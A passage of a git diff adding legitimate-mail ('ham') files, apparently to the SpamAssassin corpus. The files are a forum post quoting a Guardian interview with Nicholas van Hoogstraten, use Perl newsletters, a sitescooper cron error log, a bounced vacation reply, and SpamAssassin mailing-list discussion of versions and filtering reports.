[zzzzteana] van Hoogstraten verdict + +>> I was a bit disappointed that van Hoogstraten only got done for +>> manslaughter , but then I read that the judge is considering giving him +>> life anyway, + +A good time to savour again the classic Guardian interview from a couple of +years ago - +http://www.guardian.co.uk/g2/story/0,3604,365743,00.html + +His tenants are 'filth'. People in council houses are 'worthless and lazy'. +Ramblers are 'nosy perverts'. Nicholas van Hoogstraten, a man who once paid +for a hand-grenade attack on a business rival, shows Emma Brockes around his +Sussex palace and explains why he's so keen to keep the riff-raff away + +Friday September 8, 2000 +... +On the way down from the roof, through the "workers' quarters" which Van +Hoogstraten intends to fill with staff from Zimbabwe, he returns to the +subject of peasants, expanding on the "worthless" and "lazy" majority who +make up the council estates of this country. "You are playing up to your +villainous image," I suggest. Van Hoogstraten looks momentarily embarrassed. +"I'm not villainous," he mumbles. I ask if he regards the people who work +for him in these derogatory terms, and he says no, because they work hard +and hard labour is what distinguishes the "riff-raff" from the "elite". I +ask him if being a person of quality is merely a matter of wealth. He says +no, and refers to some of his wealthy neighbours, "old-moneyed bastards" +whom he regards as being as primitive in their idleness as "those rat bags +drawing social security." + +... +He was in the Bahamas when President John F Kennedy was shot, and amidst the +public mourning, remembers being pleased. "I was glad," he says. "He was +only in it for the ego trip." He claims similar feelings on hearing news of +Diana's death, while returning from France on a ferry. "She made us look +like fools," he says. "She made a mockery of the royal family." +Van Hoogstraten's relationship with authority is riddled with +contradictions. He says he hated Diana because she was thick, but when you +point out that the rest of the royal family are pretty thick too, he says +gloopily, "they are all we've got, so we have to respect them." He says he +favours dictatorship as the best form of government, but complains that some +of the officials he has dealt with in Mugabe's Zimbabwe are impossible +because "the power has gone to their heads." (Mugabe himself is the most +modest man he has ever met, he says, and he is friends with Ian Smith, who +apart from the small matter of his hysterical racism, he finds charming). +Margaret Thatcher is the only leader he has ever admired, because she made +him feel "proud to be English". +... + +The 'van' is of course a late affectation - always an indication of a +genuine dickhead. See also Mohamed 'al' Fayed. + +TimC + + +------- End of Unsent Draft + diff --git a/bayes/spamham/easy_ham_2/01301.70c542928cad28bf273cc9d71d5f5d13 b/bayes/spamham/easy_ham_2/01301.70c542928cad28bf273cc9d71d5f5d13 new file mode 100644 index 0000000..802c151 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01301.70c542928cad28bf273cc9d71d5f5d13 @@ -0,0 +1,65 @@ +From pudge@perl.org Wed Jul 24 03:00:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E64C0440CD + for ; Tue, 23 Jul 2002 22:00:45 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:00:45 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O21O413504 for + ; Wed, 24 Jul 2002 03:01:26 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17XBMD-00056u-01 for ; + Tue, 23 Jul 2002 21:54:29 -0400 +Date: Wed, 24 Jul 2002 02:00:29 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-07-24 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Book Review: Web Development with Apache and Perl + ++--------------------------------------------------------------------+ +| Book Review: Web Development with Apache and Perl | +| posted by pudge on Tuesday July 23, @00:26 (books) | +| http://use.perl.org/article.pl?sid=02/07/23/0327228 | ++--------------------------------------------------------------------+ + +[0]belg4mit writes "I picked up [1]Web Development with Apache and Perl +thinking it would be about mod_perl, in my mind Apache + perl = mod_perl. +It's not." + +This story continues at: + http://use.perl.org/article.pl?sid=02/07/23/0327228 + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/07/23/0327228 + +Links: + 0. http:///pthbb.org/ + 1. http://manning.com/petersen/ + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01302.cbf42d4aed61e63dbe1a19ce484b7fde b/bayes/spamham/easy_ham_2/01302.cbf42d4aed61e63dbe1a19ce484b7fde new file mode 100644 index 0000000..2dc91e9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01302.cbf42d4aed61e63dbe1a19ce484b7fde @@ -0,0 +1,47 @@ +From pudge@perl.org Wed Jul 24 03:00:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8D227440CC + for ; Tue, 23 Jul 2002 22:00:45 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:00:45 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O21K413499 for + ; Wed, 24 Jul 2002 03:01:20 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17XBM7-00051w-00 for ; + Tue, 23 Jul 2002 21:54:23 -0400 +Date: Wed, 24 Jul 2002 02:00:23 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-07-24 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Book Review: Web Development with Apache and Perl + posted by pudge on Tuesday July 23, @00:26 (books) + http://use.perl.org/article.pl?sid=02/07/23/0327228 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01303.80dd19a2b1d8496c48396b630179b00f b/bayes/spamham/easy_ham_2/01303.80dd19a2b1d8496c48396b630179b00f new file mode 100644 index 0000000..7c92e90 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01303.80dd19a2b1d8496c48396b630179b00f @@ -0,0 +1,61 @@ +From jm@dogma.slashnull.org Wed Jul 24 03:30:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 70B8B440CC + for ; Tue, 23 Jul 2002 22:29:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 03:29:59 +0100 (IST) +Received: (from yyyy@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g6O2Ped14750 for jm; Wed, 24 Jul 2002 03:25:40 +0100 +Date: Wed, 24 Jul 2002 03:25:40 +0100 +Message-Id: <200207240225.g6O2Ped14750@dogma.slashnull.org> +From: root@dogma.slashnull.org (Cron Daemon) +To: yyyy@dogma.slashnull.org +Subject: Cron /home/yyyy/lib/sitescooper/automatic/runme +X-Cron-Env: +X-Cron-Env: +X-Cron-Env: +X-Cron-Env: + + +Some errors were encountered during tonight's sitescooper run: + +SERIOUS WARNINGS: +------------------------------------------------------------------------- + +SITE WARNING: "advogato_diaries.site" line 1: HTTP GET failed: 500 Can't connect to www.advogato.org:80 (Timeout) (http://www.advogato.org/recentlog.html) +SITE WARNING: "advogato.site" line 1: HTTP GET failed: 500 Can't connect to www.advogato.org:80 (Timeout) (http://www.advogato.org/article/) +SITE WARNING: "DOC.cf" line 6: Configuration line invalid (needs URL line first?): +SITE WARNING: "DOC.cf" line 7: Configuration line invalid (needs URL line first?): +SITE WARNING: "ISILO.cf" line 6: Configuration line invalid (needs URL line first?): +SITE WARNING: "ISILO.cf" line 7: Configuration line invalid (needs URL line first?): +SITE WARNING: "linux_gazette.site" line 3: Redirected to http://www.linuxgazette.com/ from http://www.linuxgazette.com/lg_frontpage.html +SITE WARNING: "PLUCKER.cf" line 6: Configuration line invalid (needs URL line first?): +SITE WARNING: "PLUCKER.cf" line 7: Configuration line invalid (needs URL line first?): +SITE WARNING: "unblinking.site" line 11: Unrecognised: +SITE WARNING: "world_new_york.site" line 1: HTTP GET failed: 404 Not Found (http://www.worldnewyork.org/avantgo.php) +SITE PATTERN CHANGED WARNINGS: +------------------------------------------------------------------------- + +SITE WARNING: "crypto_gram.site" line 1: LinksStart pattern "" not found in page http://www.counterpane.com/crypto-gram.html +SITE WARNING: "freshmeat_articles.site" line 1: LinksStart pattern "-- Content --" not found in page http://freshmeat.net/articles/ +SITE WARNING: "freshmeat.site" line 6: StoryStart pattern "
" not found in page http://www.linux-mag.com/ +SITE WARNING: "linuxworld.site" line 3: LinksStart pattern "(?i)start features" not found in page http://www.linuxworld.com/linuxworld/home.html +SITE WARNING: "mandrakeforum.site" line 1: LinksStart pattern "START: Body" not found in page http://www.mandrakeforum.com/ +SITE WARNING: "merlyns_columns.site" line 1: LinksStart pattern "

Columns

" not found in page http://www.stonehenge.com/merlyn/LinuxMag/ +SITE WARNING: "merlyns_columns.site" line 1: LinksStart pattern "

Columns

" not found in page http://www.stonehenge.com/merlyn/WebTechniques/ +SITE WARNING: "plastic.site" line 1: LinksStart pattern "begin index block" not found in page http://www.plastic.com/ +SITE WARNING: "sitescooper_archive.site" line 5: LinksStart pattern "date" not found in page http://groups.yahoo.com/group/sitescooper-archive/ +SITE WARNING: "slashdot.site" line 7: LinksStart pattern " hof" not found in page http://slashdot.org/index.pl?light=1&noboxes=1&noicons=1 +SITE WARNING: "tbtf_log.site" line 3: StoryStart pattern "-- created by Blogger! --" not found in page http://tbtf.com/blog/ +SITE WARNING: "the_onion.site" line 5: LinksStart pattern "" not found in page http://www.theregister.co.uk/content/29/index.html +SITE WARNING: "user_friendly.site" line 2: StoryStart pattern "" not found in page http://www.userfriendly.org/static/ +SITE WARNING: "weekly_news.site" line 1: LinksStart pattern "-- Leading stuff goes here --" not found in page http://www.lwn.net/ + + diff --git a/bayes/spamham/easy_ham_2/01304.af5f3a2d3a0a19785aeaeeb3d7e36040 b/bayes/spamham/easy_ham_2/01304.af5f3a2d3a0a19785aeaeeb3d7e36040 new file mode 100644 index 0000000..ced5f1f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01304.af5f3a2d3a0a19785aeaeeb3d7e36040 @@ -0,0 +1,68 @@ +From MAILER-DAEMON@dogma.slashnull.org Wed Jul 24 04:53:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 20441440CC + for ; Tue, 23 Jul 2002 23:53:42 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 04:53:42 +0100 (IST) +Received: from tele-punt-22.mail.demon.net (tele-punt-22.mail.demon.net + [194.217.242.7]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O3oD418249 for ; Wed, 24 Jul 2002 04:50:13 +0100 +Received: from root by tele-punt-22.mail.demon.net with local (Exim 2.12 + #1) id 17XD88-0007e2-00 for jm@dogma.slashnull.org; Wed, 24 Jul 2002 + 03:48:04 +0000 +Subject: Mail delivery failure +Message-Id: +From: Mail Delivery System +To: yyyy@dogma.slashnull.org +Date: Wed, 24 Jul 2002 03:48:04 +0000 + +This message was created automatically by mail delivery +software. A message that you sent could not be delivered +to all of its recipients. + +The following message, addressed to 'meow1p654@epoq.demon.co.uk', +failed because it has not been collected after 30 days + +Here is a copy of the first part of the message, including +all headers. + +---- START OF RETURNED MESSAGE ---- +Received: from punt-2.mail.demon.net by mailstore for meow1p654@epoq.demon.co.uk + id 1024819224:20:29436:23; Sun, 23 Jun 2002 08:00:24 GMT +Received: from dogma.slashnull.org ([212.17.35.15]) by punt-2.mail.demon.net + id aa2004348; 23 Jun 2002 8:00 GMT +Received: (from yyyy@localhost) + by dogma.slashnull.org (8.11.6/8.11.6) id g5N80GR10697 + for meow1p654@epoq.demon.co.uk; Sun, 23 Jun 2002 09:00:16 +0100 +Date: Sun, 23 Jun 2002 09:00:16 +0100 +Message-Id: <200206230800.g5N80GR10697@dogma.slashnull.org> +From: yyyy@spamassassin.taint.org (Justin Mason) +Subject: away from my mail +Precedence: junk + +[this mail is automatically generated by the 'vacation' program] + +I will not be reading my mail for a while -- in fact, I will be reading my mail +very intermittently until June, as I'm travelling around the world. +Your mail regarding "Immediately Attract Women . PVWPJ" will be read at that point. + +If you're writing about something NetNote-related, please contact Nicola +McDonnell . + +SpamAssassin-related contact should be directed to the SpamAssassin-talk +mailing list , or to Craig Hughes +. + +Sitescooper-related mail should go to . +WebMake-related stuff goes to, you guessed it, ;) + +I will (probably) read your mail eventually... but it will take a while. +See you in June! + +--j. +---- END OF RETURNED MESSAGE ---- + + diff --git a/bayes/spamham/easy_ham_2/01305.0dd9ad5503a8fd6b3678fe480ca4df68 b/bayes/spamham/easy_ham_2/01305.0dd9ad5503a8fd6b3678fe480ca4df68 new file mode 100644 index 0000000..6b293fe --- /dev/null +++ b/bayes/spamham/easy_ham_2/01305.0dd9ad5503a8fd6b3678fe480ca4df68 @@ -0,0 +1,90 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 00:42:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B1C54440CC + for ; Tue, 23 Jul 2002 19:42:57 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 00:42:57 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6NNfu404293 for ; Wed, 24 Jul 2002 00:41:56 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X9G9-0002hH-00; Tue, + 23 Jul 2002 16:40:05 -0700 +Received: from mail.t-intra.de ([62.156.147.75] helo=mailc0911.dte2k.de) + by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17X9Fx-0003Nt-00 for ; + Tue, 23 Jul 2002 16:39:54 -0700 +Received: from mailc0908.dte2k.de ([10.50.185.8]) by mailc0911.dte2k.de + with Microsoft SMTPSVC(5.0.2195.4453); Wed, 24 Jul 2002 01:38:54 +0200 +Received: from nebukadnezar.msquadrat.de ([62.226.214.36]) by + mailc0908.dte2k.de with Microsoft SMTPSVC(5.0.2195.4453); Wed, + 24 Jul 2002 01:38:54 +0200 +Received: from otherland (otherland.msquadrat.de [10.10.10.10]) by + nebukadnezar.msquadrat.de (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id + 357113FC; Wed, 24 Jul 2002 01:39:46 +0200 (CEST) +Content-Type: text/plain; charset="iso-8859-1" +From: "Malte S. Stretz" +To: SpamAssassin Talk ML +User-Agent: KMail/1.4.2 +References: <3D3DDEE7.2A07C357@cnc.bc.ca> <20020723231313.GB14564@kluge.net> +In-Reply-To: <20020723231313.GB14564@kluge.net> +Cc: Kevin Gagel +X-Accept-Language: de, en +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207240142.23673@malte.stretz.eu.org> +X-Originalarrivaltime: 23 Jul 2002 23:38:54.0735 (UTC) FILETIME=[1B8161F0:01C232A2] +Subject: [SAtalk] Why not upgrade to 2.40 today? (was: Re: [Fwd: Re: [Razor-users] can't find Razor/Client.pm]) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 01:42:23 +0200 +Date: Wed, 24 Jul 2002 01:42:23 +0200 + +On Wednesday 24 July 2002 01:13 CET Theo Van Dinter wrote: +> On Tue, Jul 23, 2002 at 03:55:35PM -0700, Kevin Gagel wrote: +> > I'm thinking of following this advise too. Is there a good reason that +> > I should not upgrad to the 2.40 at this time? +> +> Unless you feel like doing some development, the answer is: it's not +> released and is considered "use at your own risk". :) + +And maybe because there isn't an official 2.40 yet. It's 2.40-cvs and +changes from day to day. Or, to cite the page [1]: "these are built nightly +from CVS. They may be unstable!". One and a half good reason :o) + +Malte + +[1]http://spamassassin.org/downloads.html + +-- +-- Coding is art. +-- + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01306.642dc8dce3771af294de84e167221354 b/bayes/spamham/easy_ham_2/01306.642dc8dce3771af294de84e167221354 new file mode 100644 index 0000000..52d8b75 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01306.642dc8dce3771af294de84e167221354 @@ -0,0 +1,119 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 01:04:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8F09B440CC + for ; Tue, 23 Jul 2002 20:04:32 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 01:04:32 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O02B405172 for ; Wed, 24 Jul 2002 01:02:12 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X9ZU-0006VY-00; Tue, + 23 Jul 2002 17:00:04 -0700 +Received: from [65.107.69.216] (helo=dman.ddts.net) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17X9Z3-0005zb-00 for + ; Tue, 23 Jul 2002 16:59:37 -0700 +Received: from dman by dman.ddts.net (Exim 4.05 #8 (Debian)) protocol: + local id 17X9jH-0002AR-00 for ; + Tue, 23 Jul 2002 19:10:11 -0500 +From: "Derrick 'dman' Hudson" +To: spamassassin-talk@example.sourceforge.net +Message-Id: <20020724001011.GA8257@dman.ddts.net> +Mail-Followup-To: spamassassin-talk@example.sourceforge.net +References: <3D3D6A2D.8020601@iws-irms.com> +MIME-Version: 1.0 +Content-Type: multipart/signed; micalg=pgp-sha1; + protocol="application/pgp-signature"; + boundary="1yeeQ81UyVL57Vl7" +Content-Disposition: inline +In-Reply-To: <3D3D6A2D.8020601@iws-irms.com> +User-Agent: Mutt/1.4i +X-Operating-System: Debian GNU/Linux +X-Kernel-Version: 2.4.18-custom.3 +X-Editor: VIM - Vi IMproved 6.1 (2002 Mar 24, compiled May 4 2002 18:34:55) +X-Uptime: 19:07:14 up 2 days, 23:28, 4 users, load average: 0.87, 0.37, 0.18 +Subject: [SAtalk] Re: Reporting.... +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 23 Jul 2002 19:10:11 -0500 +Date: Tue, 23 Jul 2002 19:10:11 -0500 + + +--1yeeQ81UyVL57Vl7 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +Content-Transfer-Encoding: quoted-printable + +On Tue, Jul 23, 2002 at 09:37:33AM -0500, Joel Epstein wrote: +| I currently have spam being filtered for about 50 users via spamd.=20 +| Works perfectly! However, is there anyone out there providing reports=20 +| to their users about what was filetered? Maybe just something like=20 +| date/time, From, and subject? + +I have such a system. It works like this : + 1) sa-exim scans the message during the SMTP interaction + 2) if it scores high enough it is rejected + 2.1) if it is rejected, exim mentions that in the reject log + 2.2) if it isn't rejected it is delivered + 2.2.1) it is up to the user to deal with (filter as + desired) the lower-scoring spam + 3) I have a script run as a daily cron job to run through the + reject log and deposit a report in the user's home directory + indicating what was rejected and way (SA isn't the only cause + for rejection) + +Obviously my setup is rather tied to exim and sa-exim, but if you want +the reporting script I can send it to you. + +-D + +--=20 +Micros~1 : + For when quality, reliability + and security just aren't + that important! +=20 +http://dman.ddts.net/~dman/ + +--1yeeQ81UyVL57Vl7 +Content-Type: application/pgp-signature +Content-Disposition: inline + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: For info see http://www.gnupg.org + +iEYEARECAAYFAj098GMACgkQO8l8XBKTpRSdOwCgqJ0hH/x1kyhw8T4tcr2iO0bj +fmIAn14hxwcq8fit2RZFidifHufuC9qF +=2GIQ +-----END PGP SIGNATURE----- + +--1yeeQ81UyVL57Vl7-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01307.abdc5c227ec610efe718e993567eebc2 b/bayes/spamham/easy_ham_2/01307.abdc5c227ec610efe718e993567eebc2 new file mode 100644 index 0000000..70aef32 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01307.abdc5c227ec610efe718e993567eebc2 @@ -0,0 +1,91 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 01:31:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 83314440CD + for ; Tue, 23 Jul 2002 20:31:18 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 01:31:18 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O0UL406687 for ; Wed, 24 Jul 2002 01:30:21 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XA0a-0006A5-00; Tue, + 23 Jul 2002 17:28:04 -0700 +Received: from pluto.trimble.co.nz ([210.86.12.194]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17X9zf-0004ct-00 for + ; Tue, 23 Jul 2002 17:27:08 -0700 +Received: (qmail 9520 invoked from network); 24 Jul 2002 12:27:03 +1200 +Received: from unknown (HELO thoth.trimble.co.nz) (155.63.248.21) by + pluto.trimble.co.nz with DES-CBC3-SHA encrypted SMTP; 24 Jul 2002 12:27:03 + +1200 +Received: (qmail 16426 invoked by uid 403); 24 Jul 2002 12:27:03 +1200 +Received: from jhaar@trimble.co.nz by thoth.trimble.co.nz by uid 400 with + qmail-scanner-1.13 (trophie: 5.500-0829/325/46694. sophie: 2.10/3.59. + spamassassin: 2.31. Clear:. Processed in 0.08928 secs); 24 Jul 2002 + 00:27:03 -0000 +Received: from crom.trimble.co.nz (10.3.0.198) by thoth.trimble.co.nz with + SMTP; 24 Jul 2002 12:27:02 +1200 +Received: (qmail 17731 invoked by uid 500); 24 Jul 2002 00:27:02 -0000 +From: Jason Haar +To: spamassassin-talk@example.sourceforge.net +Subject: Re: [SAtalk] Microsoft developer newsletter tagged as spam +Message-Id: <20020724002702.GC16347@trimble.co.nz> +Mail-Followup-To: Jason Haar , + spamassassin-talk@lists.sourceforge.net +References: <0FCA00EE04CDD3119C910050041FBA703A6693@ilpostoffice.main.net56.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <0FCA00EE04CDD3119C910050041FBA703A6693@ilpostoffice.main.net56.net> +User-Agent: Mutt/1.3.99i +Organization: Trimble Navigation New Zealand Ltd. +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 12:27:02 +1200 +Date: Wed, 24 Jul 2002 12:27:02 +1200 + +This MSDN mail thing reminds me of how I've documented this feature of +SpamAssassin here so that our users understand it. + +I define "Solicited Commercial Email" vs "Unsolicited Commercial Email" - +the latter being SPAM. As SpamAssassin basically looks for "Commercial +Email", both get hit, and that's something they must understand. + +Our SA documentation further tells users to filter off their SCE before +applying a SA rule - gets rid of 100% of the problem as the users know who +is sending them SCE. + +-- +Cheers + +Jason Haar +Information Security Manager, Trimble Navigation Ltd. +Phone: +64 3 9635 377 Fax: +64 3 9635 417 +PGP Fingerprint: 7A2E 0407 C9A6 CAF6 2B9F 8422 C063 5EBB FE1D 66D1 + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01308.27ef6351cd2bcfef79df9ec5b563afae b/bayes/spamham/easy_ham_2/01308.27ef6351cd2bcfef79df9ec5b563afae new file mode 100644 index 0000000..a0e164f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01308.27ef6351cd2bcfef79df9ec5b563afae @@ -0,0 +1,92 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Jul 24 02:03:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 64164440CC + for ; Tue, 23 Jul 2002 21:03:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:03:22 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6O14Z408346 for ; Wed, 24 Jul 2002 02:04:35 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XAWU-000512-00; Tue, + 23 Jul 2002 18:01:02 -0700 +Received: from willow.seitz.com ([146.145.147.140]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17XAVl-0002yc-00 for + ; Tue, 23 Jul 2002 18:00:17 -0700 +Received: from willow.seitz.com (ross@localhost [127.0.0.1]) by + willow.seitz.com (8.12.3/8.12.3/Debian -4) with ESMTP id g6O108q0024176 + (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL); + Tue, 23 Jul 2002 21:00:09 -0400 +Received: (from ross@localhost) by willow.seitz.com (8.12.3/8.12.3/Debian + -4) id g6O108Mu024174; Tue, 23 Jul 2002 21:00:08 -0400 +From: Ross Vandegrift +To: rODbegbie +Cc: Matt Kettler , + spamassassin-talk@lists.sourceforge.net +Subject: Re: [SAtalk] Re: [SAdev] Scoring Yahoo Ads +Message-Id: <20020724010008.GA24106@willow.seitz.com> +References: <20020723101858.406DD440CC@phobos.labs.netnoteinc.com> + <3D3D820A.5020407@perkel.com> + <5.1.0.14.0.20020723143834.02564840@192.168.50.2> + <026401c23281$359c4940$b554a8c0@RAGING> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <026401c23281$359c4940$b554a8c0@RAGING> +User-Agent: Mutt/1.3.28i +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: 